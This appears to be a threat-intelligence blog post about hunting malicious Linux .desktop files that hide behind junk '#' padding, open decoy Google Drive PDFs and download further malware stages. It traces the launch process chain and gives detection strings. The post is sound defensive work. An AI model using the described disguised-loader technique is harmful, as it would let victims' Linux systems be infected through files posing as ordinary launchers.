Overview

We're excited to launch a new blog series where we will share interesting hunting scenarios we have found. Our goal is to empower others to hunt for malware using the same methods we do. We will show our methods so you can develop your own detection/hunting queries and rules for similar threats.

We previously covered this blog series on our VirusTotal blog, and now we're bringing this type of content to the Google Threat Intelligence Community.

Understanding .desktop files

A novel technique was documented by Zscaler researchers in 2023. Where threat actors leverage .desktop files to infect Linux systems. 

Although this technique was documented by Zscaler in 2023, we have recently seen a new wave of these files uploaded to Google Threat Intelligence. This blog post will provide several effective methods for hunting these files, empowering our users to identify them proactively.

Structure of .desktop files

.desktop files are plain text configuration files used to define how an application is launched and how it appears in menus or search results in desktop environments. They follow the Desktop Entry Specification, making them portable across Linux distributions.

A typical .desktop file includes the following sections and keys:

Typically, these files begin with the string [Desktop Entry] and have a .desktop extension.

How are the identified malicious .desktop files built? 

While standard .desktop files begin with [Desktop Entry], many of the files that we have discovered related to the campaign reported by Zscaler contain a significant amount of junk code at the beginning. This junk code is then interwoven with the legitimate .desktop file structure, obfuscating the file's true content.

Figure 1: Start and part of the content of the .desktop files identified

As illustrated in Figure 1, this file starts with thousands of lines of the '#' character. This character is then mixed with the legitimate .desktop file content, likely to obfuscate its content. This characteristic is visible in Google Threat Intelligence by viewing the file content as strings or in hexadecimal representation.

Figure 2: Start and part of the content of a file identified in Google Threat Intelligence

Upon execution, the command specified in the Exec variable is interpreted and executed on the system. In numerous malicious .desktop files identified, we have observed the use of Google Drive to host PDF files, which are then opened on the victim’s systems. These PDFs serve solely as a distraction while subsequent malware stages are downloaded.

Figure 3: Processes launched after executed the .desktop file

Hunting desktop files

Analysis of the recent files discovered in Google Threat Intelligence reveals patterns useful for threat hunting. As previously noted, most of the files discovered use Google Drive to host PDF files, which are opened when a user double-clicks the .desktop file. 

Once executed, Google Drive PDF file is opened using a program called xdg-open (as shown in Figure 1 and 2). The reason for this is that xdg-open opens files or URLs using the system’s default application.

xdg-open calls the exo-open process because the execution environment (our Google Threat Intelligence sandbox) is XFCE. In XFCE, xdg-open requires exo-open to open the URL. In GNOME, the equivalent process would be gio open, and in KDE, it would be kde-open. Analyzing the source code of xdg-open, specifically within the open_xfce() function, reveals that exo-open is the preferred method for opening URLs in this scenario.

The final step is for exo-open to call exo-helper-2, as exo-open primarily acts as a forwarder to exo-helper-2. At a high level, exo-helper-2 stores the system's MIME type configurations, so in this case, it determines that Firefox is the default application for opening URLs based on the system configuration of our sandbox.

Figure 4: Processes responsible for opening the Google Drive URL

With a better understanding of these .desktop files behavior, let's explore potential hunting and detection opportunities.

Focusing on the last chain - exo-helper-2 and its arguments

As noted, exo-helper-2 is the final process responsible for opening the URL. Hunting for processes with the argument --launch WebBrowser and a Google Drive URL can be effective, and in some environments, may even serve as a reliable indicator of suspicious behavior for detection rule creation. So the following query gives us multiple samples related to our last findings during this year.

This query identifies not only .desktop files, but also ELF files exhibiting similar behavior, which are also linked to the purpose of hunting that we want to include.

Searching activity broadly across all processes

Instead of focusing only on the exo-helper-2 argument, we can expand the search to include all processes involved in opening a URL. This could also include processes specific to GNOME or KDE environments, as discussed previously.

The following query is specifically designed to target behavior within XFCE environments.

To include other environments, we can add the corresponding process names to the query to support GNOME and KDE.

A different and interesting case is the command line /usr/bin/grep -i ^xfce_desktop_window due to its indirect appearance as a result of other command executions. 

This command line, which uses grep to identify the string xfce_desktop_window, along with a different command line xprop -root, are both executed by xdg-open to determine if the environment is XFCE. As evidenced by its xdg-open source code, these command lines, which appear in multiple Google Threat Intelligence sandbox reports of the .desktop files discovered during the last months, are a result of common behaviors. This can be leveraged for hunting to identify other samples potentially related to this suspicious activity.

Figure 5: Executed commands after .desktop file is launched and source code of xdg-open

Based on these findings and the processes launched by xdg-open, we propose the following queries. These queries are designed to be modified and improved by users, serving both as a detection/hunting mechanism for this activity and as a source of inspiration for developing new queries.

Identifying processes executed by xdg-open in combination with .desktop files

These queries identify samples that have been distributed in recent months.

We also recommend using these processes for hunting in conjunction with other indicators mentioned earlier, such as the use of Google Drive to download PDF files. For this, you can use the following query.

Alternatively, as demonstrated in other samples, instead of using Google Drive to directly download the PDF, they host it on a URL controlled by them. We can combine both of these behaviors into a single query as follows.

Identifying specific strings in .desktop files

Another method for identifying these files involves using the content modifier to detect common strings from the .desktop file structure, as well as strings frequently found in these malicious files.

Examples of strings that can be used to detect these files include Exec=bash -c ", Name=", ".pdf and pDesktop Entry].

More generic queries

To conclude, we would like to share a query that is somewhat more generic and does not focus so much on the samples that we have discovered recently, but rather on .desktop files in general. 

As mentioned previously, the .desktop files discussed previously generally include thousands of "#" at the beginning of the file. Otherwise, these files would start with the text string pDesktop Entry]. If you want to investigate other possible .desktop samples that are being used as downloaders, loaders, or in general, you can use the following query.

Just as an example of the result running the query, this .desktop file is dropped by this ELF, which is detected as malicious by different AV engines and has miner activity according to the analysis. 

The .desktop file's purpose is to download a .sh file and execute it using the following command line:

This will start downloading other .sh files until it finally downloads this ELF file, also cataloged as malicious by some AV engines, and which drops multiple ELF files and a configuration file that is curiously associated with miner activities as well, which incorporates different IPs and domains associated with said malicious activity.

Figure 6: Config file dropped by the malicious ELF file

Last .desktop files discovered sharing the behaviors described 

The following table shows the latest samples uploaded in 2025 that could be related to the Zscaler attribution, however we can’t confirm this attribution. Important: the upload country does not necessarily indicate the victim's country, as the upload may have been done using a proxy from that country.

Wrapping up

We have shown different ways to perform threat hunting to detect malicious .desktop files that some threat actors use during their intrusions. The Google Threat Intelligence queries shown can be modified and adapted to other needs or similar behaviors that can be abused by other actors. In the same way, they can be translated to other technologies to perform internal threat hunting activities in the infrastructure.

We hope this information is useful and can help generate new threat hunting hypotheses. This blog is the first in a series that has just begun. Stay tuned for future publications and as always we are happy to hear your feedback.